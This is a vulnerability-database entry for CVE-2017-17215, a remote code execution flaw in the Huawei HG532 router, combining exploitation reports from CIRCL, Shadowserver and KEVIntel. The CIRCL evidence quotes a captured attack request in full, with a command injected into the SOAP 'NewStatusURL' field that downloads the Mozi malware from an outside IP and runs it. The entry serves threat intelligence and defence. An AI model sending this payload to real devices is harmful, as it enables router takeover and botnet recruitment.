CVE-2017-17215 (GCVE-0-2017-17215)

Vulnerability from cvelistv5 – Published: 2018-03-20 15:00 – Updated: 2024-08-05 20:43
VLAI CIRCL Shadowserver KEVIntel
Summary
Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.
Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
  • remote code execution
Assigner
References
Impacted products
Vendor Product Version
Huawei Technologies Co., Ltd. HG532 Affected: customized versions
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Date Public
2017-11-30 00:00
CIRCL
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: f4f43160-12d2-41a0-9dcf-d016d5bd8761

Vulnerability ID: CVE-2017-17215

Status: Confirmed

Status Updated: 2026-03-12 10:42 UTC

Exploited: Yes

Characteristics
Remote Code Execution: Yes
Authentication Required: No
Local Access Required: Remote
Severity: 100.0
Timestamps
First Seen: 2026-03-12
Asserted: 2026-03-12
Last Seen: 2026-03-12
Evidence

Type: Sinkhole

Signal: In The Wild Attempts

Confidence: 100%

Source: cti-feed.circl.lu

Details
Note POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Host: 193.168.124.237:37215 Content-Length: 601 Connection: keep-alive Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>$(/bin/busybox wget -g 180.243.2.45:51387 -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL> <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL> </u:Upgrade></s:Body></s:Envelope>
Created: 2026-03-12 10:43 UTC | Updated: 2026-03-12 10:48 UTC
Shadowserver
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: af3cff7d-007f-4cc2-8c9a-baef4bcf7e50

Vulnerability ID: CVE-2017-17215

Status: Confirmed

Status Updated: 2026-07-03 00:00 UTC

Exploited: Yes

Characteristics
Severity: 88.0
Timestamps
First Seen: 2022-05-04
Asserted: 2022-05-04
Last Seen: 2026-07-03
Scope
Asset Exposure: ['internet-facing']
Notes: Affected: Huawei / Huawei Home Gateway HG532 | Class: router | Severity: High (CVSS 8.8) | IoT: yes | In CISA KEV: no | Honeypot connections on 2026-07-03: 6200
Evidence

Type: Honeypot

Signal: In The Wild Attempts

Confidence: 70%

Source: shadowserver

Details
1D 1702
Iot yes
Feed Shadowserver Foundation honeypot/exploited-vulnerabilities
Type http-scan
Class router
7D Avg 1847
Vendor Huawei
30D Avg 1803
90D Avg 1603
Product Huawei Home Gateway HG532
Cisa Kev no
Connections 6200
Observation Date 2026-07-03
Vulnerability Class CVSS
Vulnerability Score 8.8
Vulnerability Severity High
References
Created: 2026-06-30 09:22 UTC | Updated: 2026-07-05 01:00 UTC
KEVIntel
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: c1720982-4ddb-43f9-93a8-f081ee6a2405

Vulnerability ID: CVE-2017-17215

Status: Confirmed

Status Updated: 2025-04-28 00:00 UTC

Exploited: Yes

Timestamps
First Seen: 2025-04-28
Asserted: 2025-04-28
Scope
Notes: KEVIntel entry: Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to... | Affected: Huawei Technologies Co., Ltd. / HG532 | CVSS: 8.8 (HIGH) | Used in malware: yes | Not yet in CISA KEV: True
Evidence

Type: Public Report

Signal: Confirmed Compromise

Confidence: 70%

Source: kevintel

Details
Feed KEVIntel (kevintel.com)
Title Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to...
Vendor Huawei Technologies Co., Ltd.
Product HG532
Added Date 2025-04-28T00:00:00.000Z
Cvss Score 8.8
Epss Score None
Cvss Severity HIGH
Epss Percentile None
Used In Malware yes
Ahead Of Cisa Kev None
Not Yet In Cisa Kev True
References
Created: 2026-06-23 14:04 UTC | Updated: 2026-06-23 14:04 UTC
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